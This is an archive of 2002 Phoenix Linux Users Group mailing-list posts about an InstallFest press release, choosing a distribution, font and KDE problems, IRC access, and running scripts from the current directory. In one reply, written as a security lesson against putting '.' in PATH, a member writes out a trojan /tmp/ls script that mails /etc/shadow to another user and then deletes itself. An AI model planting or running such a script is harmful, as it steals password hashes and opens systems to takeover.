PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 19:56:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Sat, 1 Jun 2002 12:56:42 -0700 Subject: True Type Fonts and Opera/Galeon Message-ID: <20020601125642.47e68d4e.linux@esaravana.com> Hello, Do Opera and Galeon support TTF? I installed them on my Redhat 7.2 system and I can see/use them in my email client - Sylpheed. But, it doesn't get used when I browse with Opera 6.0 or Galeon. I know it is not getting used, because when I visit my native tongue specific sites -- it's all garbled. Sundar From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 23:04:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sat, 1 Jun 2002 16:04:15 -0700 Subject: Fwd: FW: InstallFest Press Release RC2 Message-ID: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Here are Bill's changes to the Press Release for comment. This version is based on Victor's suggestion to make the press release more newsworthy. So, hwich version do we want to run with - this one? Or what's currently posted on the PLUG site? Judges, the envelope please. . . Dennis -----Original Message----- From: William Lindley [SMTP:wlindley@wlindley.com] Sent: Wednesday, May 29, 2002 16:43 To: Dennis Kibbe Subject: InstallFest Press Release RC2 Dennis -- Using Victor's suggestion, here's RC2. Changes from Victor's text: * Title "GNU/Linux InstallFest" * My description "computer consultant" * Changed my <> slightly * Instead of "and external modems" a reference to the PLUG web page InstallFest Q&A (which we need to have ready when this is released). Removed parentheses around that sentence. * Corrected spelling of my name * "PLUG Club members" --> "PLUG members" === On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other "open source" and "free software" systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to free software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term "free software" actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The free software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a really important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and open source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several free software events. END ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 00:38:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 1 Jun 2002 17:38:50 -0700 Subject: Fwd: FW: InstallFest Press Release RC2 In-Reply-To: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Message-ID: <0206011738500Q.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I vote for RC2. As far as changing the web site, that will take all of 15 minutes to change. On Saturday 01 June 2002 16:04, you wrote: > Here are Bill's changes to the Press Release for comment. This version is > based on Victor's suggestion to make the press release more newsworthy. > > So, hwich version do we want to run with - this one? Or what's currently > posted on the PLUG site? > > Judges, the envelope please. . . > > Dennis > > -----Original Message----- > From: William Lindley [SMTP:wlindley@wlindley.com] > Sent: Wednesday, May 29, 2002 16:43 > To: Dennis Kibbe > Subject: InstallFest Press Release RC2 > > Dennis -- Using Victor's suggestion, here's RC2. Changes from Victor's > text: > > * Title "GNU/Linux InstallFest" > * My description "computer consultant" > * Changed my <> slightly > * Instead of "and external modems" a reference to the PLUG web page > InstallFest Q&A (which we need to have ready when this is released). > Removed parentheses around that sentence. > * Corrected spelling of my name > * "PLUG Club members" --> "PLUG members" > > === > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely > available operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of > charge. The package includes web browsers, word processors, and other > usual tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." > > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other "open source" and "free software" systems > do not require any licensing or upgrade fees, and are said by many experts > to be more efficient and secure than Windows systems. > > Businesses and home users alike are turning to free software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term "free software" actually refers to > freedom from license restrictions: Users are never asked to click "I > Agree" to a list of prohibitions before using it, and organizations need > not store "Certificates of Authenticity" in their safe deposit boxes in > case of an audit. > > The free software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their > computers to the event. Usually, only the computer box, monitor, keyboard > and mouse need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a really important next step in development of computers and the > Internet -- making them more affordable and more secure," Lindley said. > "We are here to show how easy it can be for computer users to move up to > the next level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open > Source software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and open source software; to share problems and solutions, > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion > list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several free software events. > > END > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPlpGysk3ywszI1FEQILvACdEkqRNlMPBC5W0M1pcunYH7obtHUAn3yC 7bYDv7I82xIDXYzbEyq654py =HHPt -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 05:24:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 1 Jun 2002 22:24:12 -0700 Subject: InstallFest Press Release RC2 In-Reply-To: <0206011738500Q.00730@nova.wedge.org> References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> <0206011738500Q.00730@nova.wedge.org> Message-ID: <200206012224.12957.alandd@mindspring.com> Use this RC2! Send it out. I am finding it is too late already for some possible sponsors. We don't want to miss out on any possible news coverage or other connections because we are too late. Alan On Saturday 01 June 2002 05:38 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I vote for RC2. As far as changing the web site, that will take all of 15 > minutes to change. > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 08:21:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sun, 02 Jun 2002 01:21:18 -0700 Subject: InstallFest Press Release RC2 References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> <0206011738500Q.00730@nova.wedge.org> <200206012224.12957.alandd@mindspring.com> Message-ID: <3CF9D57E.580EA06B@cox.net> We'll also need one for the radio stations. It should be a stripped-down and speakable version of RC2, reduced to just a paragraph or two. Figure the greatest amount of time they'd give it in a radio announcement, then give them twice that much so they have something they can cut out. ;-) Vic Alan Dayley wrote: > > Use this RC2! Send it out. I am finding it is too late already for some > possible sponsors. We don't want to miss out on any possible news coverage > or other connections because we are too late. > > Alan > > On Saturday 01 June 2002 05:38 pm, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I vote for RC2. As far as changing the web site, that will take all of 15 > > minutes to change. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Vic http://members.cox.net/vodhner/ -- or -- http://www.newearth.org/~victor/resume.html From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 08:53:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 01:53:19 -0700 (PDT) Subject: InstallFest Press Release RC2 In-Reply-To: <3CF9D57E.580EA06B@cox.net> Message-ID: Ooh! Ooh! Once it's been stripped-down for the radio, can I read it? :-) I'm taking voice-over lessons on the side and I would love to do this for PLUG. ~M On Sun, 2 Jun 2002, Victor Odhner wrote: > We'll also need one for the radio stations. > > It should be a stripped-down and speakable > version of RC2, reduced to just a paragraph > or two. Figure the greatest amount of > time they'd give it in a radio announcement, > then give them twice that much so they > have something they can cut out. ;-) > > Vic > > Alan Dayley wrote: > > > > Use this RC2! Send it out. I am finding it is too late already for some > > possible sponsors. We don't want to miss out on any possible news coverage > > or other connections because we are too late. > > > > Alan > > > > On Saturday 01 June 2002 05:38 pm, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > I vote for RC2. As far as changing the web site, that will take all of 15 > > > minutes to change. > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > > Vic > > http://members.cox.net/vodhner/ > -- or -- > http://www.newearth.org/~victor/resume.html > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:08:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Uhlman) Date: Sat, 1 Jun 2002 09:08:23 -0700 Subject: InstallFest / Distribution Advice References: <000501c2085d$d9fd44b0$6500000a@janus> Message-ID: <000e01c20986$8e790a40$0f01a8c0@workstation> I agree with the other authors note about "linux from scratch" from a conceptual perspective, however I think that linux from scratch is somewhat "outdated" to todays types of distributions. I think that one can make there own LFS from a stock redhat or mandrake etc. Start with an installed copy of the base system on a clean drive and build package by package until you get where you want to go, perhaps change bootloaders ie lilo to grub for extra credit. Examine carefully settings and configurations for each peice of software and recompile SRPMS when appropriate, making a working developement environment is the hardest part of that ususually and quite valuable experience I might add. Hands down, being involved in every descision is the best way to understand linux from a little picture/big picture perspective. You may also be interested in taking a look at gentoo linux which dl's and compile a complete distribution. Very unique, interesting and powerful. gentoo.org hope it helps. Sincerely, David Uhlman CTO 50km Inc. office(877-571-7679) mobile(602-770-9551) fax(509-752-3882) email(duhlman@50km.com) ----- Original Message ----- From: "Matt Wyant" To: "PLUG Discussion List" Sent: Thursday, May 30, 2002 9:44 PM Subject: InstallFest / Distribution Advice > > I've always been attracted to GNU/Linux because of it's configuration > and manipulation options. I've played with the Mandrake distribution, > but it wasn't any fun because I didn't have to do anything. I need a > distribution that will force me to learn all the dirty details. From > what I've gathered online, Slackware is just that. A powerful, > configurable, advanced distribution. I have two questions: > > A) Am I jumping in over my head? I'm very proficient with computers, > I've been programming since before junior high with various flavors of > basic and c. I'm certainly not daunted by the shell, command line, or > non-graphical interfaces, in fact, they hold some sort of sick romantic > draw for me. Should I start with a more user-friendly distribution or do > you think I can handle Slackware? > > B) I read about the upcoming InstallFest June 22nd. I am very > interested, and will probably attend if I haven't gotten this figured > out by then (I'm pretty busy, so that's a definite possibility). I know > I need to drag my tower, monitors and cables along, but do I need to > bring a distribution? > > I will be installing to a swappable primary drive, so loss of > productivity and time is not a problem during installation. I want to > cut my teeth on my workstation, and then eventually run > samba/apache/mysql on my (currently) file server. I've got a dual > Pentium III 1.0Ghz with dual monitors. I do a lot of web and SQL > development, as well as audio/video editing. Is any of this going to > pose roadblocks? Is there anything I should know before I dive in? > > Just looking for a little friendly advice and counseling. > > > "Three o'clock is always too late or too early for anything you want to > do." > -- Jean-Paul Sartre > > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com | http://www.zanfar.com > > Tempe, AZ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 09:32:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (islandkid) Date: Sun, 02 Jun 2002 05:32:40 -0400 Subject: your post - strange mouse/keyboard behavoir - I also need help Message-ID: <3CF9E638.3000806@uvic.ca> I read the below post of yours while I was looking for a solution to my problem. I have the identical problem with my linux system. Did you ever figure out how to fix it? ----------------------------------------------------------------- I setup a k12ltsp server (http://k12ltsp.org) at work and I plan on using it for our employees in our call center (they have very limited software needs so this will be a good testing ground). I've been testing things and I keep encountering random problems with the mouse/keyboard within KDE. Sometimes I can no longer click on anything. The only way to get out is to Ctrl-Alt-Backspace to kill the X session. This seems to happen most often when clicking the Logout button on the taskbar, I can't click anything else or use any keyboard keys (except Ctrl-Alt-Backspace) to complete the logout process. The hardware is fairly simple: Serial mouse, P-133MHz, 64MB RAM, 1MB Video card. Here's what I get in .xsession-errors after logging in: XIM DEBUG: xset: bad font path element (#37), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax xset: bad font path element (#37), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax DCOPServer up and running. DCOP Cleaning up dead connections. Mutex destroy failure: Device or resource busy Mutex destroy failure: Device or resource busy Mutex destroy failure: Device or resource busy mcop warning: user defined signal handler found for SIG_PIPE, overriding QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible QObject::connect: No such slot KWrited::block_in(const char*,int) QObject::connect: (sender name: 'unnamed') QObject::connect: (receiver name: 'unnamed') I also have a shell script that I created an icon for our users to click on. Here's the contents of the script: /usr/X11R6/bin/xterm -T Matt-Test -e /usr/bin/telnet 172.16.10.20 & After clicking this icon, I get this message in .xsession-errors: Invalid entry (missing '=') at /usr/local/bin/matt-test.sh:1 Any guesses as to what's going on? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 14:40:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 07:40:59 -0700 Subject: PlugPresents Site Update Message-ID: <0206020740590R.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The new Press Release has been moved to the PlugPresents web site. Check it out at http://www.plugpresents.com/installfest. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPoufSsk3ywszI1FEQIGFwCgzRVlqhiQK3sgw8z5Szh2crctVC0AoOWu 9LDrrBQJFBgvs8/mxYFtGdyn =tC/y -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 15:15:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sun, 02 Jun 2002 08:15:19 -0700 Subject: InstallFest Press Release RC2 References: Message-ID: <3CFA3687.4FB6F914@cox.net> Matt wrote: > Ooh! Ooh! Once it's been stripped-down for the > radio, can I read it? I'm taking voice-over > lessons on the side and I would love to do this > for PLUG. > ~M Then you would be the best person to come up with a speakable version, neh? Why don't YOU try to write a brief verbal equivalent for RC2? Keep it comprehensible, dumb it down. And DROP the GNU bit, it just won't fly in this context -- they'll just think the announcer is sneezing! My broadcast journalism course was 38 years ago! ;-) You wanna read it? Send us an mp3, we'll put it up to run behind the web site (giggle)! Vic http://members.cox.net/vodhner/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 15:53:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Clayton Stapleton) Date: Sun, 2 Jun 2002 08:53:24 -0700 Subject: Bash Scripts Message-ID: <200206020853.24050.vernon@impulsedata.net> Figured out what is causing my problem with scripts. I can copy the body of a file to the command line and it fuction as expected. When I enter the file name on the command line I get "command not found". The permissions of the file are: -rwxr-xr-x 1 clay users 51 May 30 05:43 hello My setup is: cpu: AMD Athlon XP 1600+ ram: 256 MB OS: SuSE Linux 8.0 desktop: KDE3 shell: bash 2.05-302 editor: vim 6.0-155 console: Shell-Konsole I have tried this with a c program with the same results, "command not found". Any ideas out there on what is causing this? Clay Stapleton From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:07:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 09:07:12 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <0206020907120S.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sounds like the directory is not in the PATH. Try cd'ing to the directory and entering ./scriptname. On Sunday 02 June 2002 08:53, you wrote: > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello > > My setup is: > cpu: AMD Athlon XP 1600+ > ram: 256 MB > OS: SuSE Linux 8.0 > desktop: KDE3 > shell: bash 2.05-302 > editor: vim 6.0-155 > console: Shell-Konsole > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPpCsCsk3ywszI1FEQJPqACgnvrRjkIWMxfZiId6k7iSJJeAa4wAn0g4 Pcff4tlfipOm94hN13olrOKu =c2jj -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:09:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 02 Jun 2002 09:09:45 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <1023034185.28160.8.camel@barney.azapple.com> On Sun, 2002-06-02 at 08:53, Clayton Stapleton wrote: > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello ---- run it... ./hello Craig From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:12:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 2 Jun 2002 09:12:08 -0700 (MST) Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: <000e01c20986$8e790a40$0f01a8c0@workstation> Message-ID: On Sat, 1 Jun 2002, David Uhlman wrote: > one can make [one's] own LFS from a stock redhat or mandrake etc. > Start with an installed copy of the base system on a clean drive and > build package by package until you get where you want to go That's a great way to tear apart a distro like RedHat and see what makes it tick. You will learn plenty, 'tho not quite the same things you'd learn with a totally From Scratch approach. Consider these two approaches: A. Start with a 1957 Chevy Bel Air. Remove the engine. Replace one part at a time on the engine, making sure the engine continues to work after each new part. Reinstall the engine. Drive away. B. Start with a bare engine block and a barrel full of Chevy parts. Using only an exploded diagram, assemble a working engine. Find a 1957 Chevy Bel Air frame at the junkyard, and several "hulks" from which you can pull body parts. Pull pieces from the hulks and add them to your masterpiece. Drive away. Both approaches have their advantages, depending on what you want to learn. \\/ http://www.wlindley.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:08:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 12:08:27 -0400 Subject: InstallFest / Distribution Advice References: <000501c2085d$d9fd44b0$6500000a@janus> <000e01c20986$8e790a40$0f01a8c0@workstation> Message-ID: <3CFA42FB.3DF6EAD5@georgetoft.com> Why would you invite a newbie to start with one of the most challenging projects out there? Let's set the way-back machine to when you were learning to ride a bicycle. Did your parents make you build your bike to start off (Slackware, Debian, LFS)? No - they gave you a bike with training wheels that already worked (Mandrake, Red Hat). As you gained familiarity with the mechanics of riding a bike (Linux administration), the training wheels were removed, and you were on your own (to ride whatever you wanted). If a person is already familiar with Unix (riding some kind of bike), then this is not much of an issue, but then they probably won't call themselves a newbie and ask for help/advice. By building their bike from scratch they do learn much more, but maybe they don't want to be a bike mechanic. Maybe they want to ride the bike instead of being pulled around in the red wagon by Microsoft, being taken where ever Microsoft decides. You don't have to be a bike mechanic to ride, although it helps when you break the bike to be able to fix it quickly. There are plenty of bike mechanics out here that can lend a hand to a newbie when they break their bike, or when they want to trick it out (video capture, sound editing, VCD mastering, writing device drivers, etc). Maybe I'm recalling my first Linux experience. It took me a week to get Linux to print without stair-stepping because, at that time, all that was avaialble was using vi to edit printcap. I learned more than I ever wanted to know (I was overwhelmed), and ran screaming back to my red wagon. Two years later, after having my red wagon tipped over every 60 minutes, I bought an already built bike (Red Hat) and learned to ride. When I got Star Office 4, Netscape, and Acrobat Reader running (back when these did not come with Linux distros, but had to be downloaded as tarballs and installed and configured and tweaked), I shed the training wheels and threw the red wagon away. You have to crawl before you can run. My $0.02 plus some. George From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:26:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 12:26:29 -0400 Subject: Bash Scripts References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <3CFA4735.ACA0B941@georgetoft.com> The command is not in your path. DOS/Windows makes . (your current directory, know in Unix as your CWD) the first place to look for files. This presents a major security risk, and is highly discouraged. Therefore, you need to preceed the script name with ./ to tell the shell to use the script in your CWD, like this: ./hello If that becomes too burdonsome for you, edit ~/.bash_profile, and add: PATH=$PATH:. This makes the shell look for stuff in your CWD last. I still STRONGLY RECOMMEND you do not do this. NEVER, NEVER, NEVER do this as root!!! EVER!!! History lesson: A long time ago, people used to have . in their path, even as root. The some bright boy figured out he could put this script in /tmp/ls: #!/bin/sh cat /etc/shadow | mailx -s "password file" joeblow /bin/ls $1 $2 $3 $4 $5 $6 rm -f /tmp/ls exit $? Since /tmp is world writable, if root happened to have . before /bin in his PATH, and root happened to be in /tmp and typed ls, this script executes, sends the password shadow file to jowblow, and then executes the normal ls command so it looks good, then it deletes itself. Joe could then run a password cracking program against the file and retrieve other passwords, like root's. Regards, George Clayton Stapleton wrote: > > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello > > My setup is: > cpu: AMD Athlon XP 1600+ > ram: 256 MB > OS: SuSE Linux 8.0 > desktop: KDE3 > shell: bash 2.05-302 > editor: vim 6.0-155 > console: Shell-Konsole > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:32:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (steve) Date: 02 Jun 2002 09:32:04 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <1023035530.26074.2.camel@tomahawk.lww.com> you need to preface your command with ./ (i.e. ./hello) the reason for this is that your current directory is not in your path for security reasons. Steve Phariss > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:29:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sun, 2 Jun 2002 10:29:12 -0700 Subject: IRC Linux channel? In-Reply-To: <3CF912F9.E14C11CA@aaahawk.com> References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> <3CF912F9.E14C11CA@aaahawk.com> Message-ID: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> well, thats unusual. when did you attempt connection? the server is up 24/7 and there appears to be no current problems. you might want to check the port. also, the pretorian.ath.cx is lowercase. I'll also have to check the hostname to see if its been dropped. Technomage On Saturday 01 June 2002 11:31 am, you wrote: > Hello all, Im a bit new to all of this but have been messin with Linux > for about a year. So I will ask my newbie question and look like a fool > for the proverbial 5 min. Im not sure how to connect to the > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > always times out. What am I doing wrong? I have tried X-Chat IRC Client > and Mozilla-IRC. If someone could help me set that up I would greatly > appreciate it. Thanks. > > Luke > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:44:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 10:44:57 -0700 (PDT) Subject: InstallFest Press Release RC2 In-Reply-To: <3CFA3687.4FB6F914@cox.net> Message-ID: On Sun, 2 Jun 2002, Victor Odhner wrote: > Matt wrote: > > Ooh! Ooh! Once it's been stripped-down for the > > radio, can I read it? I'm taking voice-over > > lessons on the side and I would love to do this > > for PLUG. > > ~M > > Then you would be the best person to come up with > a speakable version, neh? Why don't YOU try to > write a brief verbal equivalent for RC2? > Keep it comprehensible, dumb it down. > > And DROP the GNU bit, it just won't fly > in this context -- they'll just think the > announcer is sneezing! > > My broadcast journalism course was 38 years ago! ;-) > > You wanna read it? Send us an mp3, we'll put it > up to run behind the web site (giggle)! I'm all over that bad boy. I'll plan for a 30-second spot and send you an MP3 when I'm done. ~M From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:43:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 10:43:23 -0700 (PDT) Subject: IRC Linux channel? In-Reply-To: 